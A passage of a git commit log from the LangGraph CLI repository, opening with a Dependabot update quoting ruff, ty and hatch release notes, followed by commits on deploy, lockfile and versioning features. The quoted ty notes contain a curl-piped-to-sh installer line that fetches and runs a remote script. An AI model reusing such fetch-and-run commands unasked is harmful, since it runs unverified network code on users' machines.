HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ruff/blob/main/CHANGELOG.md">ruff's changelog</a>.</em></p> <blockquote> <h2>0.15.20</h2> <p>Released on 2026-06-25.</p> <h3>Preview features</h3> <ul> <li>Allow human-readable names in rule selectors (<a href="https://redirect.github.com/astral-sh/ruff/pull/25887">#25887</a>)</li> <li>Emit a warning instead of an error for unknown rule selectors (<a href="https://redirect.github.com/astral-sh/ruff/pull/26113">#26113</a>)</li> <li>Match <code>noqa</code> shebang handling in <code>ruff:ignore</code> comments (<a href="https://redirect.github.com/astral-sh/ruff/pull/26286">#26286</a>)</li> <li>[<code>ruff</code>] Remove <code>pytest-fixture-autouse</code> (<code>RUF076</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/26240">#26240</a>, <a href="https://redirect.github.com/astral-sh/ruff/pull/26371">#26371</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Add versioning sections to custom crate READMEs (<a href="https://redirect.github.com/astral-sh/ruff/pull/26317">#26317</a>)</li> <li>Update <code>ruff_python_parser</code> README for crates.io (<a href="https://redirect.github.com/astral-sh/ruff/pull/26315">#26315</a>)</li> <li>[<code>perflint</code>] Clarify that <code>PERF402</code> applies to any iterable (<a href="https://redirect.github.com/astral-sh/ruff/pull/26242">#26242</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/dhruvmanila"><code>@dhruvmanila</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> <li><a href="https://github.com/ntBre"><code>@ntBre</code></a></li> <li><a href="https://github.com/trilamsr"><code>@trilamsr</code></a></li> </ul> <h2>0.15.19</h2> <p>Released on 2026-06-23.</p> <h3>Preview features</h3> <ul> <li>Support human-readable names when hovering suppression comments and in code actions (<a href="https://redirect.github.com/astral-sh/ruff/pull/26114">#26114</a>)</li> </ul> <h3>Bug fixes</h3> <ul> <li>Fall back to default settings when editor-only settings are invalid (<a href="https://redirect.github.com/astral-sh/ruff/pull/26244">#26244</a>)</li> <li>Fix panic when inserting text at a notebook cell boundary (<a href="https://redirect.github.com/astral-sh/ruff/pull/26111">#26111</a>)</li> </ul> <h3>Rule changes</h3> <ul> <li>[<code>pylint</code>] Update fix suggestions for <code>__floor__</code>, <code>__trunc__</code>, <code>__length_hint__</code>, and <code>__matmul__</code> variants (<code>PLC2801</code>) (<a href="https://redirect.github.com/astral-sh/ruff/pull/26239">#26239</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Avoid allocating when parsing single string literals (<a href="https://redirect.github.com/astral-sh/ruff/pull/26200">#26200</a>)</li> <li>Avoid reallocating singleton call arguments (<a href="https://redirect.github.com/astral-sh/ruff/pull/26223">#26223</a>)</li> <li>Lazily create source files for lint diagnostics (<a href="https://redirect.github.com/astral-sh/ruff/pull/26226">#26226</a>)</li> <li>Optimize formatter text width and indentation (<a href="https://redirect.github.com/astral-sh/ruff/pull/26236">#26236</a>)</li> <li>Reserve capacity for builtin bindings (<a href="https://redirect.github.com/astral-sh/ruff/pull/26229">#26229</a>)</li> <li>Skip repeated-key checks for singleton dictionaries (<a href="https://redirect.github.com/astral-sh/ruff/pull/26228">#26228</a>)</li> <li>Use ArrayVec for qualified name segments (<a href="https://redirect.github.com/astral-sh/ruff/pull/26224">#26224</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ruff/commit/f82a36b6baf8c0547a17bbde6c0d927ccd45d938"><code>f82a36b</code></a> Bump 0.15.20 (<a href="https://redirect.github.com/astral-sh/ruff/issues/26376">#26376</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/af329438b55d5aa8ca28725f17abbae63b5c815d"><code>af32943</code></a> Improve the summarise-ecosystem-results skill (<a href="https://redirect.github.com/astral-sh/ruff/issues/26378">#26378</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/485ebab5de692aad34720898cd80245b6092ba86"><code>485ebab</code></a> Remove <code>RUF076</code> name from schema (<a href="https://redirect.github.com/astral-sh/ruff/issues/26371">#26371</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/ef81835ce3da615346584dc446de0fe26bfc154b"><code>ef81835</code></a> [ty] Implement rust-analyzer's "Click for full compiler diagnostic" feature (...</li> <li><a href="https://github.com/astral-sh/ruff/commit/572b31e2377a701a7365f069f6ef87002962cb2b"><code>572b31e</code></a> [<code>ruff</code>] Remove <code>pytest-fixture-autouse</code> (<code>RUF076</code>) (<a href="https://redirect.github.com/astral-sh/ruff/issues/26240">#26240</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/f703f219d7fddd1a4abba9fa81e34773c185a4b9"><code>f703f21</code></a> Allow human-readable names in rule selectors (<a href="https://redirect.github.com/astral-sh/ruff/issues/25887">#25887</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/0d726b28ee35413926145ffef4ac1143cae9ea1e"><code>0d726b2</code></a> [ty] Reuse equality semantics for membership compatibility (<a href="https://redirect.github.com/astral-sh/ruff/issues/25955">#25955</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/dbe6e9848c3f78fdaf543cfc000939ebc73b5f00"><code>dbe6e98</code></a> [ty] Infer definite equality comparison results (<a href="https://redirect.github.com/astral-sh/ruff/issues/26337">#26337</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/e700ea357a2196d76b58eb89b2031ddb5ca896e0"><code>e700ea3</code></a> [ty] Prove TypedDict structural patterns exhaustive (<a href="https://redirect.github.com/astral-sh/ruff/issues/26285">#26285</a>)</li> <li><a href="https://github.com/astral-sh/ruff/commit/6a0d2ec93959d966430b8c39d4de5c3e8a88e911"><code>6a0d2ec</code></a> [ty] Widen inferred class-valued instance attributes (<a href="https://redirect.github.com/astral-sh/ruff/issues/26338">#26338</a>)</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ruff/compare/0.15.15...0.15.20">compare view</a></li> </ul> </details> <br /> Updates `ty` from 0.0.43 to 0.0.55 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ty/releases">ty's releases</a>.</em></p> <blockquote> <h2>0.0.55</h2> <h2>Release Notes</h2> <p>Released on 2026-06-26.</p> <h3>LSP server</h3> <ul> <li>Render full diagnostics in color (<a href="https://redirect.github.com/astral-sh/ruff/pull/26384">#26384</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Document colored diagnostic output (<a href="https://redirect.github.com/astral-sh/ty/pull/3858">#3858</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Improve vendored filesystem concurrency (<a href="https://redirect.github.com/astral-sh/ruff/pull/26408">#26408</a>)</li> <li>Optimize enum comparisons in equality evaluation (<a href="https://redirect.github.com/astral-sh/ruff/pull/26340">#26340</a>)</li> <li>Remove redundant semantic index shrinks (<a href="https://redirect.github.com/astral-sh/ruff/pull/26392">#26392</a>)</li> <li>Use never-change durability for one-shot checks (<a href="https://redirect.github.com/astral-sh/ruff/pull/26359">#26359</a>)</li> </ul> <h3>Core type checking</h3> <ul> <li>Correct enum alias detection and scalar constructors (<a href="https://redirect.github.com/astral-sh/ruff/pull/26345">#26345</a>)</li> <li>Fix structural pattern binding inference (<a href="https://redirect.github.com/astral-sh/ruff/pull/26411">#26411</a>)</li> <li>Improve variable-length tuple slicing (<a href="https://redirect.github.com/astral-sh/ruff/pull/26151">#26151</a>)</li> <li>Infer class and mapping pattern bindings (<a href="https://redirect.github.com/astral-sh/ruff/pull/25941">#25941</a>)</li> <li>Infer empty collection constructors from later uses (<a href="https://redirect.github.com/astral-sh/ruff/pull/26389">#26389</a>)</li> <li>Skip shadowed submodule bindings during import analysis (<a href="https://redirect.github.com/astral-sh/ruff/pull/26385">#26385</a>)</li> <li>Sync vendored typeshed stubs (<a href="https://redirect.github.com/astral-sh/ruff/pull/26406">#26406</a>). <a href="https://github.com/python/typeshed/compare/8e6a886ca5b14742924be721d345a619762d6e93...3c6221722aac5bd9dbfc5fbf7b4f0bf64b2c5724">Typeshed diff</a></li> <li>Track literal iterable emptiness for reachability (<a href="https://redirect.github.com/astral-sh/ruff/pull/25222">#25222</a>)</li> <li>Validate positional class patterns against <code>__match_args__</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/26195">#26195</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> <li><a href="https://github.com/carljm"><code>@carljm</code></a></li> <li><a href="https://github.com/AlexWaygood"><code>@AlexWaygood</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> <li><a href="https://github.com/mtshiba"><code>@mtshiba</code></a></li> <li><a href="https://github.com/felixscherz"><code>@felixscherz</code></a></li> </ul> <h2>Install ty 0.0.55</h2> <h3>Install prebuilt binaries via shell script</h3> <pre lang="sh"><code>curl --proto '=https' --tlsv1.2 -LsSf https://releases.astral.sh/github/ty/releases/download/0.0.55/ty-installer.sh | sh </code></pre> <h3>Install prebuilt binaries via powershell script</h3> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Changelog</summary> <p><em>Sourced from <a href="https://github.com/astral-sh/ty/blob/main/CHANGELOG.md">ty's changelog</a>.</em></p> <blockquote> <h2>0.0.55</h2> <p>Released on 2026-06-26.</p> <h3>LSP server</h3> <ul> <li>Render full diagnostics in color (<a href="https://redirect.github.com/astral-sh/ruff/pull/26384">#26384</a>)</li> </ul> <h3>Documentation</h3> <ul> <li>Document colored diagnostic output (<a href="https://redirect.github.com/astral-sh/ty/pull/3858">#3858</a>)</li> </ul> <h3>Performance</h3> <ul> <li>Improve vendored filesystem concurrency (<a href="https://redirect.github.com/astral-sh/ruff/pull/26408">#26408</a>)</li> <li>Optimize enum comparisons in equality evaluation (<a href="https://redirect.github.com/astral-sh/ruff/pull/26340">#26340</a>)</li> <li>Remove redundant semantic index shrinks (<a href="https://redirect.github.com/astral-sh/ruff/pull/26392">#26392</a>)</li> <li>Use never-change durability for one-shot checks (<a href="https://redirect.github.com/astral-sh/ruff/pull/26359">#26359</a>)</li> </ul> <h3>Core type checking</h3> <ul> <li>Correct enum alias detection and scalar constructors (<a href="https://redirect.github.com/astral-sh/ruff/pull/26345">#26345</a>)</li> <li>Fix structural pattern binding inference (<a href="https://redirect.github.com/astral-sh/ruff/pull/26411">#26411</a>)</li> <li>Improve variable-length tuple slicing (<a href="https://redirect.github.com/astral-sh/ruff/pull/26151">#26151</a>)</li> <li>Infer class and mapping pattern bindings (<a href="https://redirect.github.com/astral-sh/ruff/pull/25941">#25941</a>)</li> <li>Infer empty collection constructors from later uses (<a href="https://redirect.github.com/astral-sh/ruff/pull/26389">#26389</a>)</li> <li>Skip shadowed submodule bindings during import analysis (<a href="https://redirect.github.com/astral-sh/ruff/pull/26385">#26385</a>)</li> <li>Sync vendored typeshed stubs (<a href="https://redirect.github.com/astral-sh/ruff/pull/26406">#26406</a>). <a href="https://github.com/python/typeshed/compare/8e6a886ca5b14742924be721d345a619762d6e93...3c6221722aac5bd9dbfc5fbf7b4f0bf64b2c5724">Typeshed diff</a></li> <li>Track literal iterable emptiness for reachability (<a href="https://redirect.github.com/astral-sh/ruff/pull/25222">#25222</a>)</li> <li>Validate positional class patterns against <code>__match_args__</code> (<a href="https://redirect.github.com/astral-sh/ruff/pull/26195">#26195</a>)</li> </ul> <h3>Contributors</h3> <ul> <li><a href="https://github.com/charliermarsh"><code>@charliermarsh</code></a></li> <li><a href="https://github.com/carljm"><code>@carljm</code></a></li> <li><a href="https://github.com/AlexWaygood"><code>@AlexWaygood</code></a></li> <li><a href="https://github.com/MichaReiser"><code>@MichaReiser</code></a></li> <li><a href="https://github.com/mtshiba"><code>@mtshiba</code></a></li> <li><a href="https://github.com/felixscherz"><code>@felixscherz</code></a></li> </ul> <h2>0.0.54</h2> <p>Released on 2026-06-25.</p> <h3>Bug fixes</h3> <ul> <li>Avoid duplicate configuration error output (<a href="https://redirect.github.com/astral-sh/ruff/pull/26375">#26375</a>)</li> <li>Avoid stack overflows in reachability analysis (<a href="https://redirect.github.com/astral-sh/ruff/pull/26272">#26272</a>)</li> <li>Fix divergent recursive tuple cycle handling in ty (<a href="https://redirect.github.com/astral-sh/ruff/pull/26316">#26316</a>)</li> <li>Fix panic from relation queries during cycle recovery (<a href="https://redirect.github.com/astral-sh/ruff/pull/26335">#26335</a>)</li> </ul> <!-- raw HTML omitted --> </blockquote> <p>... (truncated)</p> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/astral-sh/ty/commit/42869400da56f4ee7ce752141f81b50bb318e4e2"><code>4286940</code></a> Bump version to 0.0.55 (<a href="https://redirect.github.com/astral-sh/ty/issues/3866">#3866</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/5374b30ff462ef6e59d23dc9ba515007b02464a8"><code>5374b30</code></a> Update benchmarks for ty 0.0.54 (<a href="https://redirect.github.com/astral-sh/ty/issues/3865">#3865</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/3ed874d053ff9529c9fd0205a6d3bbe6a7407535"><code>3ed874d</code></a> Document colored diagnostic output (<a href="https://redirect.github.com/astral-sh/ty/issues/3858">#3858</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/bf8a7dd584f53d67d873c750afc1494331f93502"><code>bf8a7dd</code></a> Bump version to 0.0.54</li> <li><a href="https://github.com/astral-sh/ty/commit/78e094dfaf6245514f124b043b18c9a20edd8f08"><code>78e094d</code></a> Document the <code>fullDiagnosticOutput</code> extension to the Language Server Protocol...</li> <li><a href="https://github.com/astral-sh/ty/commit/7bda89e5069d747bd7f54513dcd0263157a8f694"><code>7bda89e</code></a> Document ty's <code>@Todo</code> type in the typing FAQ (<a href="https://redirect.github.com/astral-sh/ty/issues/3847">#3847</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/66a94cde4970b405a770e4c6ef4ac2a9bb6bf733"><code>66a94cd</code></a> Update maturin to v1.14.0 (<a href="https://redirect.github.com/astral-sh/ty/issues/3840">#3840</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/dc2b39d1e29e55a4a6d83486fffa936ba5121a72"><code>dc2b39d</code></a> Update prek dependencies (<a href="https://redirect.github.com/astral-sh/ty/issues/3839">#3839</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/23f26f98a22d3a0df412846506f3af6e76cf48e4"><code>23f26f9</code></a> Bump version to 0.0.53 (<a href="https://redirect.github.com/astral-sh/ty/issues/3841">#3841</a>)</li> <li><a href="https://github.com/astral-sh/ty/commit/13f91b093e004c76aa548a221c7b577dfbdd7ea6"><code>13f91b0</code></a> Bump version to 0.0.52 (<a href="https://redirect.github.com/astral-sh/ty/issues/3828">#3828</a>)</li> <li>Additional commits viewable in <a href="https://github.com/astral-sh/ty/compare/0.0.43...0.0.55">compare view</a></li> </ul> </details> <br /> Updates `hatch` from 1.16.5 to 1.17.0 <details> <summary>Release notes</summary> <p><em>Sourced from <a href="https://github.com/pypa/hatch/releases">hatch's releases</a>.</em></p> <blockquote> <h2>Hatchling v1.17.0</h2> <p><em><strong>Added:</strong></em></p> <ul> <li>The <code>app</code> build target now embeds the project version in the name of binaries</li> </ul> <h2>Hatch v1.17.0</h2> <p><em><strong>Changed:</strong></em></p> <ul> <li>The <code>hatch fmt</code> command is now deprecated in favor of the new <code>hatch check</code> command group</li> <li>Migrate HTTP client from <code>httpx</code> to <code>httpx2</code></li> </ul> <p><em><strong>Added:</strong></em></p> <ul> <li>Add <code>hatch check</code> command group with subcommands for <code>check code</code> (linting), <code>check fmt</code> (formatting), and <code>check types</code> (type checking)</li> <li>Add <code>hatch check types</code> command for type checking using Pyrefly, with <code>--summarize</code> and <code>--cover</code> flags</li> <li>Add <code>hatch env lock</code> command to generate PEP 751 compliant lockfiles (<code>pylock.toml</code>) for environments</li> <li>Add <code>hatch dep lock</code> and <code>hatch lock</code> commands as shortcuts for locking the active environment</li> <li>Add <code>hatch dep sync</code> command for syncing dependencies from a lockfile</li> <li>Add pluggable dependency locker interface with built-in UV and pip implementations</li> <li>Add <code>--cover-xml</code> and <code>--cover-xml-output</code> flags to the <code>hatch test</code> command for generating XML coverage reports</li> <li>Add linehaul telemetry data to User-Agent header for PyPI download statistics</li> <li>Auto-create environment when locking if it doesn't exist</li> </ul> <p><em><strong>Fixed:</strong></em></p> <ul> <li>Fix help output formatting for the <code>run</code> command</li> </ul> </blockquote> </details> <details> <summary>Commits</summary> <ul> <li><a href="https://github.com/pypa/hatch/commit/37b00c3d2221438fa79084b92e81ee1819d6c630"><code>37b00c3</code></a> release Hatchling v1.30.1 (<a href="https://redirect.github.com/pypa/hatch/issues/2298">#2298</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/0446d99ef6461644624e8bdc461fd3c0a684a13c"><code>0446d99</code></a> Update history for new patch release of hatchling after fixing default metada...</li> <li><a href="https://github.com/pypa/hatch/commit/4f5cdf094ec515488777705fc01e484ddd4f3e5f"><code>4f5cdf0</code></a> Make 2.4 metadata default until other tools support it. (<a href="https://redirect.github.com/pypa/hatch/issues/2296">#2296</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/0497be09d555c300851d55344104e9aea2f9f200"><code>0497be0</code></a> Fix draft release uploads. (<a href="https://redirect.github.com/pypa/hatch/issues/2293">#2293</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/3aae0faf98a5e90c146d5af21738e049ecac471e"><code>3aae0fa</code></a> Fix hatchling to use Metadata 2.4 (<a href="https://redirect.github.com/pypa/hatch/issues/2291">#2291</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/5ee41893d556aaa862d32621e37bb179646c60e8"><code>5ee4189</code></a> release Hatch v1.17.0 (<a href="https://redirect.github.com/pypa/hatch/issues/2290">#2290</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/6109ee756a79d1341798a47517d778d149807b15"><code>6109ee7</code></a> release Hatchling v1.30.0 (<a href="https://redirect.github.com/pypa/hatch/issues/2289">#2289</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/246e22bb1681b74ff493ec60aa8849d95ce048fe"><code>246e22b</code></a> Block duplicate files in wheel archives (closes <a href="https://redirect.github.com/pypa/hatch/issues/2066">#2066</a>) (<a href="https://redirect.github.com/pypa/hatch/issues/2269">#2269</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/d2afcb6003321c9dca1628b2840ec4acb1e1a9ef"><code>d2afcb6</code></a> Update docs as pre-release for 1.17.0 (<a href="https://redirect.github.com/pypa/hatch/issues/2287">#2287</a>)</li> <li><a href="https://github.com/pypa/hatch/commit/818d2841958f0797f0e4ed014b9f0a8123d11b63"><code>818d284</code></a> Feat hatch check command with new sub command for types (<a href="https://redirect.github.com/pypa/hatch/issues/2278">#2278</a>)</li> <li>Additional commits viewable in <a href="https://github.com/pypa/hatch/compare/hatch-v1.16.5...hatch-v1.17.0">compare view</a></li> </ul> </details> <br /> Dependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`. [//]: # (dependabot-automerge-start) [//]: # (dependabot-automerge-end) --- <details> <summary>Dependabot commands and options</summary> <br /> You can trigger Dependabot actions by commenting on this PR: - `@dependabot rebase` will rebase this PR - `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it - `@dependabot show <dependency name> ignore conditions` will show all of the ignore conditions of the specified dependency - `@dependabot ignore <dependency name> major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself) - `@dependabot ignore <dependency name> minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself) - `@dependabot ignore <dependency name>` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself) - `@dependabot unignore <dependency name>` will remove all of the ignore conditions of the specified dependency - `@dependabot unignore <dependency name> <ignore condition>` will remove the ignore condition of the specified dependency and ignore conditions </details> --------- Signed-off-by: dependabot[bot] <support@github.com> Co-authored-by: dependabot[bot] <49699333+dependabot[bot]@users.noreply.github.com> Co-authored-by: John Kennedy <65985482+jkennedyvz@users.noreply.github.com> Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com> |
||
|
|
3df6f50ad5 |
feat(cli): allow prebuild images for langgraph deploy (#8100)
Fixes # adds a --image flag to `langgraph deploy`, allows a user to `langgraph build` a custom image and then deploy this specific image with `langgraph deploy`. --------- Co-authored-by: hari-dhanushkodi <203702815+hari-dhanushkodi@users.noreply.github.com> Co-authored-by: open-swe[bot] <open-swe@users.noreply.github.com> |
||
|
|
1a9baae959 |
release(cli): 0.4.30 (#8101)
Bump langgraph-cli to 0.4.30 to cut a CLI release from
|
||
|
|
916025d2f6 |
feat(cli): support compatible api version ranges (#8023)
Adds `api_version` ranges for LangGraph API base image tags. `~=0.11.0.dev5` resolves to the newest matching compatible image while freezing later dev prereleases until rc/final/patch tags exist; `>~=0.11.0.dev5` uses the same floor but can also float to future stable releases while ignoring future prereleases. Verified with `make format`, `make lint`, and `make test` from `libs/cli`. --------- Signed-off-by: Connor Braa <cwlbraa@langchain.dev> |
||
|
|
93307d6a42 |
release(cli): 0.4.29 (#8046)
https://github.com/langchain-ai/langgraph/pull/8031 |
||
|
|
e05ba2965d |
feat(cli): add support for passing certfile and cert key to run dev server under HTTPS (#8031)
This allows running the dev server under HTTPS, which is a requirement for running local server under Safari. |
||
|
|
f0e814796b |
release(cli): 0.4.28 (#8041)
Bumping the version to support langgraph-api stable versions 0.10.0, 0.11.0rcX and 0.12.0.devY releases. |
||
|
|
a9b0a05fb5 |
chore(langgraph): Track ADK/other library usage when deploying using cli (#7939)
<!-- Replace everything above this line with a 1-2 sentence description of your change. Keep the "Fixes #xx" keyword and update the issue number. --> - Add a property to revisions table metadata column for Google ADK version - This helps us track the deployments that use Google ADK - Similar to this PR: https://github.com/langchain-ai/langchainplus/pull/22087 Read the full contributing guidelines: https://docs.langchain.com/oss/python/contributing/overview > **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED! Thank you for contributing to LangGraph! Follow these steps to have your pull request considered as ready for review. 1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION - feat(langgraph): add multi-tenant support - Allowed TYPE and SCOPE values: https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43 2. PR description: - Write 1-2 sentences summarizing the change. - The `Fixes #xx` line at the top is **required** for external contributions — update the issue number and keep the keyword. This links your PR to the approved issue and auto-closes it on merge. - If there are any breaking changes, please clearly describe them. - If this PR depends on another PR being merged first, please include "Depends on #PR_NUMBER" in the description. 3. Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified. - We will not consider a PR unless these three are passing in CI. 4. How did you verify your code works? Additional guidelines: - All external PRs must link to an issue or discussion where a solution has been approved by a maintainer, and you must be assigned to that issue. PRs without prior approval will be closed. - PRs should not touch more than one package unless absolutely necessary. - Do not update the `uv.lock` files or add dependencies to `pyproject.toml` files (even optional ones) unless you have explicit permission to do so by a maintainer. ## Social handles (optional) <!-- If you'd like a shoutout on release, add your socials below --> Twitter: @ LinkedIn: https://linkedin.com/in/ |
||
|
|
7282301720 |
release(cli): 0.4.27 (#7925)
Bumping the CLI to 0.4.27. |
||
|
|
6e4a295ba5 |
fix(cli): pin internal_docker deploy images by digest (#7924)
## Summary `langgraph deploy` now pins images by digest when handing the URI to the LangGraph host backend. After `docker push`, the CLI reads the manifest digest from the local Docker daemon's `RepoDigests` and sends `registry/repo@sha256:<hex>` to the host backend instead of the tag-based reference. Mutable tags cause downstream inconsistency — the same revision can refer to different images over time. The image is still pushed under the user-supplied `--tag` (default `:latest`) so it stays discoverable by tag in the registry — only the URI persisted with the revision changes. ## Behavior on failure If the digest can't be resolved (empty `RepoDigests`, or no entry matching the just-pushed repo), the CLI warns and falls back to the tag-based reference. Deploys never fail on a digest-resolution issue. ## Test plan - [x] `make test` passes (new `TestResolvePushedImageDigest` cases included) - [x] `--verbose` deploy shows the `docker image inspect` call resolving the digest - [x] Deploy with a clean Docker daemon (no matching `RepoDigests`) emits the fallback warning and still completes successfully --------- Co-authored-by: Josh Rogers <josh@langchain.dev> |
||
|
|
786c42fde3 |
release(cli): 0.4.26 (#7772)
Bumps the version of the cli to allow support for pre-release version pinning of langgraph-api: https://github.com/langchain-ai/langgraph/pull/7771 |
||
|
|
8537ea94d3 |
fix(cli): add support for prerelease api_versions (#7771)
Today, pre-release versions aren't supported for the `api_version` config parameter in langgraph.json. This adds support for them to enable latest and rc images going forward. |
||
|
|
95b41d058f |
release: bump cli version (#7734)
## Summary This release adds the following to the`langgraph deploy` command: - json event output - non-interactive mode |
||
|
|
b333d4c838 |
feat(cli): support studio deploy (#7394)
# Description Supports deploying to langsmith from langgraph studio Adds the following to the langgraph deploy command: - json event output - non-interactive mode |
||
|
|
8657df80f3 |
chore: mixup cli formatting (#7585)
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
a0a95df2ac |
release(cli): 0.4.23 (#7542)
Release Note: Increase the max bound for langgraph-api Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
eae916719f | CLI bump | ||
|
|
4d64227c13 |
chore: start tracking cli deploy source (#7520)
Fixes # <!-- Replace everything above this line with a 1-2 sentence description of your change. Keep the "Fixes #xx" keyword and update the issue number. --> Read the full contributing guidelines: https://docs.langchain.com/oss/python/contributing/overview > **All contributions must be in English.** See the [language policy](https://docs.langchain.com/oss/python/contributing/overview#language-policy). If you paste a large clearly AI generated description here your PR may be IGNORED or CLOSED! Thank you for contributing to LangGraph! Follow these steps to have your pull request considered as ready for review. 1. PR title: Should follow the format: TYPE(SCOPE): DESCRIPTION - feat(langgraph): add multi-tenant support - Allowed TYPE and SCOPE values: https://github.com/langchain-ai/langgraph/blob/main/.github/workflows/pr_lint.yml#L19-L43 2. PR description: - Write 1-2 sentences summarizing the change. - The `Fixes #xx` line at the top is **required** for external contributions — update the issue number and keep the keyword. This links your PR to the approved issue and auto-closes it on merge. - If there are any breaking changes, please clearly describe them. - If this PR depends on another PR being merged first, please include "Depends on #PR_NUMBER" in the description. 3. Run `make format`, `make lint` and `make test` from the root of the package(s) you've modified. - We will not consider a PR unless these three are passing in CI. 4. How did you verify your code works? Additional guidelines: - All external PRs must link to an issue or discussion where a solution has been approved by a maintainer, and you must be assigned to that issue. PRs without prior approval will be closed. - PRs should not touch more than one package unless absolutely necessary. - Do not update the `uv.lock` files or add dependencies to `pyproject.toml` files (even optional ones) unless you have explicit permission to do so by a maintainer. ## Social handles (optional) <!-- If you'd like a shoutout on release, add your socials below --> Twitter: @ LinkedIn: https://linkedin.com/in/ |
||
|
|
890147681d |
chore(cli): add validate command (#7438)
add validate command --------- Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
336ad1239b |
release(cli): lockfile (#7436)
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev> |
||
|
|
51f6cee1b1 |
chore: uv lock resolution (#7342)
## Summary
Adds native uv workspace/lockfile support to the LangGraph CLI's Docker
build pipeline. Instead of listing dependencies manually, users can
point at their existing `uv.lock` and the CLI will:
1. Discover workspace packages and their dependency graph
2. Export locked requirements via `uv export --package <name> --frozen`
3. Copy only the necessary workspace closure into the container
4. Install packages in dependency order with `--no-deps` for
reproducibility
5. Rewrite all import paths (graphs, auth, encryption, etc.) to
container paths
### New config field: `source`
Rather than using `pip` or `uv pip`, we add a new `uv_lock` installer.
The previous installers should still remain unchanged.
To avoid ambiguity, we discriminate by "source" field and **do not
permit** other arbitrary "dependencies". In this mode, we will treat the
provided root (defaults to the current directory) as the source of
truth.
This also would natively support uv workspaces, so you can specify the
target package within a larger workspace.
**Simple single-package project:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "./agent.py:graph"
},
"source": {
"kind": "uv"
}
}
```
**Multi-package workspace with explicit package:**
```json
{
"python_version": "3.11",
"graphs": {
"agent": "../../apps/agent/src/agent/graph.py:graph"
},
"source": {
"kind": "uv",
"root": "../..",
"package": "agent"
}
}
```
**Traditional pip deployment (unchanged):**
```json
{
"python_version": "3.11",
"dependencies": ["langgraph", "my-package"],
"graphs": {
"agent": "./agent.py:graph"
}
}
```
Config validation enforces mutual exclusivity. you must use either
`dependencies` or `source`, not both.
---------
Co-authored-by: Will Fu-Hinthorn <will@langchain.dev>
|
||
|
|
b3eeb4fa1d |
feat(cli): add remote build support for langgraph deploy (#7234)
**Description:** - extend host_backend client with remote build support - refactored `cli.py` for better clarity - update tests |
||
|
|
0f20c3fe04 |
fix(cli): persist deployment name to .env after prompt (#7323)
## Summary - When `langgraph deploy` prompts for the deployment name interactively, persist it as `LANGSMITH_DEPLOYMENT_NAME` in the `.env` file so subsequent deploys pick it up automatically - Extracted `_resolve_env_path()` helper from `_parse_env_from_config()` to share env file path resolution logic - Skips writing when env vars are configured as an inline dict in `langgraph.json` (no file to write to) - **CI fix**: CLI integration tests were using `pip install` but `setup-uv` with caching enabled, so the post-step cache save failed on a non-existent directory — switched to `uv pip install` ## Test plan - [x] All 207 existing unit tests pass - [ ] Manual: run `langgraph deploy` without `--name`, enter a name at prompt, verify `.env` now contains `LANGSMITH_DEPLOYMENT_NAME=<name>` - [ ] Manual: run `langgraph deploy` again, verify the name is picked up from `.env` without re-prompting - [x] CI integration test cache fix (broken on main since Feb 2026) |
||
|
|
65572a0e6d |
release: Create new release for CLI version 0.4.19. (#7232)
### Summary This release includes an update for the `langgraph` CLI: `langgraph deploy revisions list`. |
||
|
